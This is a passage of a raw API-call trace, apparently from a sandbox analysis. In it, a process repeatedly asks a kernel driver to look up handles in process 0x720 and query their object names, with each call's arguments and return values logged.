ObfDereferenceObject (Object=0xfffff8a001a979e0) returned 0x2 [0113.719] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.719] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.719] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.719] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x102, lpOverlapped=0x0) returned 1 [0113.719] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.719] PsAcquireProcessExitSynchronization () returned 0x0 [0113.719] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880055905d0) [0113.719] ObReferenceObjectByHandle (in: Handle=0x160, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800cabb520, HandleInformation=0x0) returned 0x0 [0113.719] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.720] PsReleaseProcessExitSynchronization () returned 0x2 [0113.720] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0113.720] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.720] ObfDereferenceObject (Object=0xfffffa800cabb520) returned 0x1 [0113.720] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.720] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.720] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.720] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0113.720] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.720] PsAcquireProcessExitSynchronization () returned 0x0 [0113.720] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880055905d0) [0113.720] ObReferenceObjectByHandle (in: Handle=0x1a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003c3ba00, HandleInformation=0x0) returned 0x0 [0113.720] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.720] PsReleaseProcessExitSynchronization () returned 0x2 [0113.720] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0113.720] ObQueryNameString (in: Object=0xfffffa8003c3ba00, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.720] ObfDereferenceObject (Object=0xfffffa8003c3ba00) returned 0x1 [0113.720] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.720] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.720] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.720] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0113.720] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.720] PsAcquireProcessExitSynchronization () returned 0x0 [0113.720] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880055905d0) [0113.720] ObReferenceObjectByHandle (in: Handle=0x1b8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800dfd4b60, HandleInformation=0x0) returned 0x0 [0113.720] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.720] PsReleaseProcessExitSynchronization () returned 0x2 [0113.720] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0113.720] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.720] ObfDereferenceObject (Object=0xfffffa800dfd4b60) returned 0x1 [0113.720] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.720] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.721] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.721] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xf4, lpOverlapped=0x0) returned 1 [0113.721] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.721] PsAcquireProcessExitSynchronization () returned 0x0 [0113.721] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880055905d0) [0113.721] ObReferenceObjectByHandle (in: Handle=0x2dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800c5de530, HandleInformation=0x0) returned 0x0 [0113.721] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.721] PsReleaseProcessExitSynchronization () returned 0x2 [0113.721] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0113.721] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800201d044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800201d044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.721] ObfDereferenceObject (Object=0xfffffa800c5de530) returned 0x1 [0113.721] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.721] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.721] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.721] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8a, lpOverlapped=0x0) returned 1 [0113.721] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.721] PsAcquireProcessExitSynchronization () returned 0x0 [0113.721] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880055905d0) [0113.721] ObReferenceObjectByHandle (in: Handle=0x2e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003237ca0, HandleInformation=0x0) returned 0x0 [0113.721] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.721] PsReleaseProcessExitSynchronization () returned 0x2 [0113.721] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0113.721] ObQueryNameString (in: Object=0xfffffa8003237ca0, ObjectNameInfo=0xfffffa8001faa044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001faa044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.721] ObfDereferenceObject (Object=0xfffffa8003237ca0) returned 0x1 [0113.721] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.721] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.721] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.721] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xb4, lpOverlapped=0x0) returned 1 [0113.721] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.721] PsAcquireProcessExitSynchronization () returned 0x0 [0113.721] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880055905d0) [0113.721] ObReferenceObjectByHandle (in: Handle=0x324, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00181e670, HandleInformation=0x0) returned 0x0 [0113.722] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.722] PsReleaseProcessExitSynchronization () returned 0x2 [0113.722] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0113.722] ObQueryNameString (in: Object=0xfffff8a00181e670, ObjectNameInfo=0xfffffa80020ba044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020ba044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.722] ObfDereferenceObject (Object=0xfffff8a00181e670) returned 0x2 [0113.722] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.722] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.722] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.722] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xb0, lpOverlapped=0x0) returned 1 [0113.722] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.722] PsAcquireProcessExitSynchronization () returned 0x0 [0113.722] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880055905d0) [0113.722] ObReferenceObjectByHandle (in: Handle=0x330, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001883dc0, HandleInformation=0x0) returned 0x0 [0113.722] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.722] PsReleaseProcessExitSynchronization () returned 0x2 [0113.722] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0113.722] ObQueryNameString (in: Object=0xfffff8a001883dc0, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.722] ObfDereferenceObject (Object=0xfffff8a001883dc0) returned 0x2 [0113.722] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.722] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.722] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.722] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xae, lpOverlapped=0x0) returned 1 [0113.722] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.722] PsAcquireProcessExitSynchronization () returned 0x0 [0113.722] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880055905d0) [0113.722] ObReferenceObjectByHandle (in: Handle=0x334, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003065d10, HandleInformation=0x0) returned 0x0 [0113.722] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.722] PsReleaseProcessExitSynchronization () returned 0x2 [0113.722] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0113.722] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020df044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020df044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.723] ObfDereferenceObject (Object=0xfffffa8003065d10) returned 0x1 [0113.723] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.723] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.723] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.723] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xb4, lpOverlapped=0x0) returned 1 [0113.723] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.723] PsAcquireProcessExitSynchronization () returned 0x0 [0113.723] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880055905d0) [0113.723] ObReferenceObjectByHandle (in: Handle=0x33c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0018822d0, HandleInformation=0x0) returned 0x0 [0113.723] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.723] PsReleaseProcessExitSynchronization () returned 0x2 [0113.723] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0113.723] ObQueryNameString (in: Object=0xfffff8a0018822d0, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.723] ObfDereferenceObject (Object=0xfffff8a0018822d0) returned 0x2 [0113.723] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.723] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.723] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.723] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0113.723] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.723] PsAcquireProcessExitSynchronization () returned 0x0 [0113.723] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880055905d0) [0113.723] ObReferenceObjectByHandle (in: Handle=0x34c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8009f26a50, HandleInformation=0x0) returned 0x0 [0113.723] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.723] PsReleaseProcessExitSynchronization () returned 0x2 [0113.723] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0113.723] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fbf044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fbf044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.723] ObfDereferenceObject (Object=0xfffffa8009f26a50) returned 0x5 [0113.723] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.723] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.724] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.724] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x90, lpOverlapped=0x0) returned 1 [0113.724] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.724] PsAcquireProcessExitSynchronization () returned 0x0 [0113.724] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880055905d0) [0113.724] ObReferenceObjectByHandle (in: Handle=0x35c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0018b3390, HandleInformation=0x0) returned 0x0 [0113.724] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.724] PsReleaseProcessExitSynchronization () returned 0x2 [0113.724] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0113.724] ObQueryNameString (in: Object=0xfffff8a0018b3390, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.724] ObfDereferenceObject (Object=0xfffff8a0018b3390) returned 0x2 [0113.724] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.724] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.724] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.724] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0113.724] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.724] PsAcquireProcessExitSynchronization () returned 0x0 [0113.724] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880055905d0) [0113.724] ObReferenceObjectByHandle (in: Handle=0x360, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0018c8080, HandleInformation=0x0) returned 0x0 [0113.724] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.724] PsReleaseProcessExitSynchronization () returned 0x2 [0113.724] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0113.724] ObQueryNameString (in: Object=0xfffff8a0018c8080, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.724] ObfDereferenceObject (Object=0xfffff8a0018c8080) returned 0x2 [0113.724] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.724] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.724] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.725] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0113.725] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.725] PsAcquireProcessExitSynchronization () returned 0x0 [0113.725] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880055905d0) [0113.725] ObReferenceObjectByHandle (in: Handle=0x368, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001c1b550, HandleInformation=0x0) returned 0x0 [0113.725] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.725] PsReleaseProcessExitSynchronization () returned 0x2 [0113.725] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0113.725] ObQueryNameString (in: Object=0xfffff8a001c1b550, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.725] ObfDereferenceObject (Object=0xfffff8a001c1b550) returned 0x2 [0113.725] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.725] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.725] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.725] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0113.725] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.725] PsAcquireProcessExitSynchronization () returned 0x0 [0113.725] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880055905d0) [0113.725] ObReferenceObjectByHandle (in: Handle=0x370, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8005ffe6d0, HandleInformation=0x0) returned 0x0 [0113.725] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.725] PsReleaseProcessExitSynchronization () returned 0x2 [0113.725] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0113.725] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002058044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8002058044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.725] ObfDereferenceObject (Object=0xfffffa8005ffe6d0) returned 0x5 [0113.725] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.725] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.725] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.725] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x90, lpOverlapped=0x0) returned 1 [0113.725] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.725] PsAcquireProcessExitSynchronization () returned 0x0 [0113.725] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880055905d0) [0113.725] ObReferenceObjectByHandle (in: Handle=0x380, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0018c86b0, HandleInformation=0x0) returned 0x0 [0113.725] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.726] PsReleaseProcessExitSynchronization () returned 0x2 [0113.726] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0113.726] ObQueryNameString (in: Object=0xfffff8a0018c86b0, ObjectNameInfo=0xfffffa8002077044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002077044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.726] ObfDereferenceObject (Object=0xfffff8a0018c86b0) returned 0x2 [0113.726] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.726] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.726] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.726] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0113.726] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005590558 